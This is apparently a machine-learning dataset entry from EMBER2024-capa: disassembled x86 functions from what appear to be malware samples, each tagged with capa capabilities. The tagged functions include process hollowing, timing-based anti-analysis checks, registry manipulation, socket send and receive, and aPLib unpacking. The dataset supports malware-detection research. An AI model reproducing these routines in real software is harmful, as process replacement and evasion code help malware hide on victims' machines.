joyce8/EMBER2024-capa huggingface dataset:
Function at 0x996ff
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xc8
push ebx
lea edi, [ebx + 0x1c]
push edi
push 0x2e
push 0xa06ac
mov esi, 0xa22f8
push esi
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x99765
push ebx
push edi
push 9
push 0xa06a0
push esi
call fcn.00092544
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.0009ee2a
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x9977c
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.0009ee2a
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x997c2
xor eax, eax
jmp 0x99864
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.0009ee2a
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x99801
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x997bb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push entry0
call fcn.0009637c
add esp, 0x10
push esi
test eax, eax
je 0x997f6
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x997f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x997f5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x9a4c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0x5c
jmp 0x9a4f7
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x9a500
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x9a4e4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x9a51d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0009a4c7
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0x9a542
mov dword [ebp + 8], 0x1f4
jmp 0x9a55d
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0x9a54f
xor eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0x9a55a
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x9a574
mov dword [esi + 0x38], eax
jmp 0x9a61d
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
test eax, eax
je 0x9a590
add ecx, eax
jmp 0x9a59b
cmp dword [ebp + 0xc], ecx
je 0x9a59e
jge 0x9a59a
dec ecx
jmp 0x9a59b
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0x9a61d
mov eax, dword [esi + 0x18]
mov ecx, eax
sub ecx, dword [esi + 0x38]
mov edi, ecx
jns 0x9a5b2
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0x9a61c
imul ecx, ecx, 0xa
mov eax, ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.0009a505
mov ebx, eax
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.0009a505
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret
Function at 0x9a6ca
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
push ebx
xor ebx, ebx
xor edx, edx
mov dword [ebp + 0x10], ecx
cmp dword [ebp + 0xc], ebx
jle 0x9a794
mov al, byte [ebp + 0xf]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
sub edi, 0
je 0x9a731
dec edi
je 0x9a718
dec edi
jne 0x9a73f
movzx edi, byte [esi]
movzx eax, al
shl eax, 2
shr edi, 6
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
inc ecx
and eax, 0x3f
jmp 0x9a737
movzx edi, byte [esi]
movzx eax, al
shl eax, 4
shr edi, 4
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x9a73d
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
lea eax, [edx + 1]
cdq
push 3
pop edi
idiv edi
mov al, byte [esi]
inc ecx
inc esi
inc ebx
cmp ebx, dword [ebp + 0xc]
jl 0x9a6e9
pop edi
pop esi
test edx, edx
jle 0x9a794
movzx eax, al
cmp edx, 1
jne 0x9a76e
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x9a778
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
sub edx, 0
je 0x9a788
dec edx
je 0x9a78c
dec edx
je 0x9a790
jmp 0x9a794
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
lea eax, [ecx + 1]
sub eax, dword [ebp + 0x10]
mov word [ecx], 0xa0d
inc eax
pop ebx
pop ebp
ret
Function at 0x9c65c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
test byte [0xa3690], 1
push ebx
push esi
push edi
mov esi, 0x100000
jne 0x9c683
or dword [0xa3690], 1
push esi
call fcn.0009ebcc
pop ecx
mov dword [0xa368c], eax
test byte [0xa3690], 2
jne 0x9c69f
or dword [0xa3690], 2
push esi
call fcn.0009ebcc
pop ecx
mov dword [0xa3688], eax
push 0x19
push dword [ebp + 0x1c]
push dword [0xa3688]
call fcn.0009ee08
mov eax, dword [0xa3688]
mov ebx, dword [ebp + 0x18]
add esp, 0xc
lea edi, [eax + 0xc]
mov esi, eax
mov byte [edi], 0
cmp ebx, 0x800
jle 0x9c6fb
mov ecx, dword [ebp + 0xc]
test byte [ecx + 0x8c], 1
je 0x9c6fb
push dword [0xa368c]
add eax, 0x19
push ebx
push eax
push dword [ebp + 0x14]
mov byte [edi], 2
call fcn.000922b9
add esp, 0x10
test eax, eax
jg 0x9c6f7
xor eax, eax
jmp 0x9c758
mov dword [esi], eax
jmp 0x9c70d
push ebx
push dword [ebp + 0x14]
add eax, 0x19
push eax
call fcn.0009ee08
add esp, 0xc
mov dword [esi], ebx
mov eax, dword [0xa3688]
push 0
push dword [esi]
add eax, 0x19
push eax
mov dword [esi + 4], ebx
call fcn.000924c2
or byte [edi], 1
mov dword [esi + 8], eax
mov esi, dword [esi]
add esi, 0x19
push esi
push dword [0xa3688]
push dword [ebp + 0x10]
call fcn.00099004
add esp, 0x18
push 0
push esi
push dword [0xa3688]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
sub eax, esi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x9db67
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x9dbca
lea ecx, [ebp + eax - 0x104]
cmp byte [ecx - 1], 0x5c
jne 0x9dba0
lea ecx, [ebp + eax - 0x105]
mov byte [ecx], 0
push dword [ebp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push 0
push 1
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
leave
ret
or eax, 0xffffffff
leave
ret

Function at 0x9dd05
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
mov edi, 0xa36b4
jmp 0x9dd41
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [0xa36b8]
je 0x9dd53
call ebx
sub eax, ebp
cmp eax, 0x2710
jae 0x9dd4c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push edi
call esi
test eax, eax
jne 0x9dd20
jmp 0x9dd53
and dword [0xa36bc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
inc dword [0xa36bc]
pop edi
pop esi
pop ebp
mov dword [0xa36b8], eax
pop ebx
ret

Function at 0x9e095
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push 0x20106
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x9e172
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x9e0cc
push ebx
sub eax, ecx
push edi
mov edi, eax
mov dword [ebp - 4], esi
cmp edi, 0x1c
jle 0x9e0e4
push 0x1c
pop edi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.0009ee08
mov ebx, dword [ebp + 0x18]
add esp, 0xc
cmp ebx, esi
jle 0x9e13f
mov esi, 0xff000
cmp ebx, esi
jge 0x9e106
mov esi, ebx
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0009f1ed
add esp, 0xc
push esi
push dword [ebp - 8]
lea eax, [ebp - 0x2c]
push 3
push 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x9e13d
add dword [ebp - 8], esi
sub ebx, esi
inc dword [ebp - 4]
test ebx, ebx
jg 0x9e0fb
xor esi, esi
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0009f1ed
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp ebx, esi
pop edi
sete al
pop ebx
jmp 0x9e174
xor eax, eax
pop esi
leave
ret
Function at 0x9e177
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jne 0x9e193
xor eax, eax
inc eax
cmp dword [0xa20ec], eax
jne 0x9e315
cmp dword [0xa36c0], ebx
je 0x9e312
test byte [ebp + 8], 1
push esi
push edi
mov edi, 0xc8
lea esi, [edi + 0x1c]
je 0x9e223
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 1
call fcn.0009dfe2
add esp, 0xc
test eax, eax
je 0x9e223
cmp dword [ebp + 0xc], ebx
je 0x9e223
push 2
push 0x40000000
call fcn.0009dbcf
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x9e223
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x9e21a
cmp dword [ebp + 0xc], 0
je 0x9e21a
push edi
push esi
push dword [ebp + 0xc]
push ebx
push ebx
call fcn.00092544
add esp, 0x14
push 0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x9e21a
and dword [0xa36c0], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 2
je 0x9e310
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 2
call fcn.0009dfe2
add esp, 0xc
test eax, eax
je 0x9e310
cmp dword [ebp + 0xc], 0
je 0x9e310
push edi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp - 4]
call fcn.00092544
add esp, 0x14
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
push esi
push 7
push 0xa10d0
push 0xa28f8
call fcn.00092544
add esp, 0x14
push eax
push edi
push esi
push 0x14
push 0xa10bc
mov ebx, 0xa22f8
push ebx
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call fcn.0009e095
add esp, 0x14
test eax, eax
jne 0x9e2eb
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
push esi
push 7
push 0xa10d0
push 0xa28f8
call fcn.00092544
add esp, 0x14
push eax
push edi
push esi
push 0x19
push 0xa10a0
push ebx
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call fcn.0009e095
add esp, 0x14
test eax, eax
je 0x9e2f2
and dword [0xa36c0], 0
mov esi, 0x100
push esi
push 0
push ebx
call fcn.0009ee2a
push esi
push 0
push 0xa28f8
call fcn.0009ee2a
add esp, 0x18
pop edi
pop esi
xor eax, eax
inc eax
pop ebx
leave
ret
Function at 0x9e3ca
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x20119
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x20], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x9e528
mov eax, dword [ebp + 0x10]
push esi
push edi
xor esi, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x9e3fe
sub eax, edi
mov edi, eax
mov dword [ebp - 4], ebx
cmp edi, 0x1c
jle 0x9e414
push 0x1c
pop edi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x40]
push eax
call fcn.0009ee08
lea eax, [ebp + edi - 0x40]
push 0xa
push eax
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], eax
call fcn.0009f1ed
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 0x18
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x9e51d
add esi, dword [ebp - 8]
inc dword [ebp - 4]
push 0xa
push dword [ebp - 0x10]
mov dword [ebp - 8], ebx
push dword [ebp - 4]
call fcn.0009f1ed
add esp, 0xc
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x9e458
cmp esi, ebx
jle 0x9e51d
push esi
mov dword [ebp - 0x1c], esi
call fcn.0009db2e
mov eax, dword [0xa36c4]
pop ecx
cmp eax, ebx
je 0x9e51d
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push 0xa
push dword [ebp - 0x10]
mov dword [ebp - 0x18], esi
push dword [ebp - 4]
call fcn.0009f1ed
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x9e4e8
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x9e4e8
add dword [ebp - 8], eax
sub esi, eax
inc dword [ebp - 4]
cmp esi, ebx
jg 0x9e4a9
cmp esi, ebx
jne 0x9e51d
mov eax, dword [0xa36c4]
push 0xc8
push 0xe4
push dword [ebp - 0x1c]
push eax
push eax
call fcn.00092544
push dword [ebp - 0x1c]
push dword [0xa36c4]
call fcn.0009e332
add esp, 0x1c
mov dword [ebp - 0x20], 1
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, dword [ebp - 0x20]
pop ebx
leave
ret
Function at 0x9e52e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call fcn.0009dd05
push 3
push 0x80000000
call fcn.0009dbcf
mov ebx, eax
pop ecx
mov edi, 0xc8
pop ecx
lea esi, [edi + 0x1c]
cmp ebx, 0xffffffff
je 0x9e5b8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x10], eax
test eax, eax
je 0x9e5b1
push eax
call fcn.0009db2e
mov eax, dword [0xa36c4]
pop ecx
test eax, eax
je 0x9e5b1
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x9e5b1
mov eax, dword [0xa36c4]
push edi
push esi
push dword [esp + 0x18]
push eax
push eax
call fcn.00092544
push dword [esp + 0x24]
push dword [0xa36c4]
call fcn.0009e332
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push 7
push 0xa10d0
mov ebp, 0xa28f8
push ebp
call fcn.00092544
add esp, 0x14
push eax
push edi
push esi
push 0x14
push 0xa10bc
mov ebx, 0xa22f8
push ebx
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call fcn.0009e3ca
add esp, 0xc
test eax, eax
jne 0x9e62c
push edi
push esi
push 7
push 0xa10d0
push ebp
call fcn.00092544
add esp, 0x14
push eax
push edi
push esi
push 0x19
push 0xa10a0
push ebx
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call fcn.0009e3ca
add esp, 0xc
mov esi, 0x100
push esi
push 0
push ebx
call fcn.0009ee2a
push esi
push 0
push ebp
call fcn.0009ee2a
add esp, 0x18
call fcn.0009dd69
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
pop ecx
ret
Function at 0x9f315
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov dword [ebp - 8], eax
mov dword [ebp - 4], edi
cmp esi, edi
jne 0x9f33b
xor eax, eax
jmp 0x9f424
push 0x10
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.0009ee2a
add esp, 0xc
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
push 2
mov word [ebp - 0x16], ax
pop eax
push edi
xor edi, edi
inc edi
push edi
push eax
mov word [ebp - 0x18], ax
mov dword [ebp - 0x14], esi
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x9f382
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, esi
jmp 0x9f424
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [ebp + 8]
push eax
push 0x8004667e
push esi
mov dword [ebp + 8], edi
call ebx
cmp eax, 0xffffffff
jne 0x9f3aa
or edi, eax
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, edi
jmp 0x9f423
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x21c], esi
mov dword [ebp - 0x220], edi
call dword [sym.imp.WS2_32.dll_connect]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x220]
push eax
xor edi, edi
push edi
lea eax, [esi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x9f421
lea eax, [ebp - 0x11c]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x9f39f
lea eax, [ebp + 8]
push eax
push 0x8004667e
push esi
mov dword [ebp + 8], edi
call ebx
push dword [ebp + 0x10]
push esi
call fcn.0009f26d
pop ecx
pop ecx
mov eax, esi
jmp 0x9f423
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret

Function at 0x9f43e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
push dword [ebp + 0x14]
xor edi, edi
push dword [ebp + 0x10]
push ebx
jmp 0x9f473
cmp eax, 0x2746
je 0x9f47c
add edi, eax
cmp edi, dword [ebp + 0x10]
jge 0x9f47c
push dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
sub eax, edi
push eax
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
call esi
test eax, eax
jg 0x9f458
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4ce3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.04ce378f
jae 0x4ce370e
xor ecx, ecx
call fcn.04ce378f
jae 0x4ce373d
xor eax, eax
call fcn.04ce378f
jae 0x4ce374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.04ce378f
adc al, al
jae 0x4ce372f
jne 0x4ce3779
stosb byte es:[edi], al
jmp 0x4ce3711
call fcn.04ce379b
sub ecx, ebx
jne 0x4ce3756
call fcn.04ce3799
jmp 0x4ce3775
lodsb al, byte [esi]
shr eax, 1
je 0x4ce3783
adc ecx, ecx
jmp 0x4ce3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.04ce3799
cmp eax, 0x7d00
jae 0x4ce3772
cmp ah, 5
jae 0x4ce3773
cmp eax, 0x7f
ja 0x4ce3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4ce3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x4013a8
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov eax, dword [ebp + 8]
mov esi, dword [0x413564]
mov dword [ebp - 0x10], eax
lea edi, [esi + 0x15180]
sub edi, 2
cmp edi, esi
jb 0x4013d0
cmp word [edi], 0x20
je 0x4013c3
xor eax, eax
cmp esi, edi
ja 0x4013f7
lea edx, [esi + 0x1e0]
sub edx, 2
cmp edx, esi
jb 0x4013e9
cmp word [edx], 0x20
je 0x4013dc
sub edx, esi
lea eax, [eax + edx + 6]
add esi, 0x1e0
jmp 0x4013d2
add eax, 2
push eax
push 0x2000
call sub.KERNEL32.dll_GlobalAlloc
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x40141d
push 0x30
push 0x4128a1
push 0x4128a8
jmp 0x40149e
push dword [ebp - 0x14]
call sub.KERNEL32.dll_GlobalLock
mov dword [ebp - 0x18], eax
mov esi, dword [0x413564]
cmp esi, edi
ja 0x401476
lea edx, [esi + 0x1e0]
sub edx, 2
cmp edx, esi
jb 0x401445
cmp word [edx], 0x20
je 0x401438
mov ebx, edx
sub ebx, esi
lea eax, [ebx + 2]
push eax
push esi
add esi, 0x1e0
push dword [ebp - 0x18]
call sub.msvcrt.dll_memcpy
add ebx, dword [ebp - 0x18]
add esp, 0xc
mov word [ebx + 2], 0xd
mov word [ebx + 4], 0xa
add ebx, 6
mov dword [ebp - 0x18], ebx
jmp 0x40142e
mov eax, dword [ebp - 0x18]
mov word [eax], 0
push dword [ebp - 0x14]
call sub.KERNEL32.dll_GlobalUnlock
push dword [ebp - 0x10]
call sub.USER32.dll_OpenClipboard
test eax, eax
jne 0x4014ae
push 0x30
push 0x4128a1
push 0x4128c9
push dword [ebp - 0x10]
call sub.USER32.dll_MessageBoxA
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.USER32.dll_EmptyClipboard
push dword [ebp - 0x14]
push 0xd
call sub.USER32.dll_SetClipboardData
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.004125a0

Function at 0x402f19
Capabilities:
Check for software breakpoints
Check if file exists
Get file size
Read file on windows

Disassembly:
mov esp, dword [0x413170]
call fcn.004079b1
mov al, byte [0x4131af]
and al, 0xf
or al, 0x30
test byte [0x412e2c], 0xff
je 0x402531
or al, 8
mov byte [0x4131af], al
call fcn.00403040
mov edx, dword [0x413158]
push edx
call fcn.004084c4
call fcn.00402e21
pop esi
mov ebx, dword [0x41315c]
mov cl, 1
push ebx
call fcn.00402bc9
pop esi
xor ah, ah
mov word [ebx], ax
jmp case.0x4036a3.11
pop dword [0x413178]
mov edx, dword [0x41317c]
or edx, edx
jne 0x402f2f
mov edx, dword [0x413170]
mov esp, edx
mov byte [0x4131ae], al
or al, al
mov eax, dword [0x41318c]
mov dword [0x4131a4], eax
je 0x402f53
mov esi, dword [0x413180]
or esi, esi
je 0x402f5e
jmp case.0x4036a3.11
mov edx, dword [0x413178]
call fcn.00407b58
mov esp, dword [0x413170]
call fcn.004078d2
call fcn.00402df5
call fcn.00402e5a
call fcn.00402ea3
call fcn.00402ec4
mov eax, dword [0x41318c]
cmp eax, dword [0x413160]
jb 0x402f91
xor ebx, ebx
call fcn.0040b627
call fcn.00402df5
jmp 0x402512

Function at 0x404340
Capabilities:
Check for software breakpoints
Check if file exists
Get file size
Read file on windows

Disassembly:
jmp fcn.00402efe
call fcn.004058f3
jne 0x404359
call fcn.004030b0
jne 0x404355
mov esi, ebx
jmp 0x40365b
mov al, 0x29
jmp 0x404325
mov al, 0x10
jmp 0x404325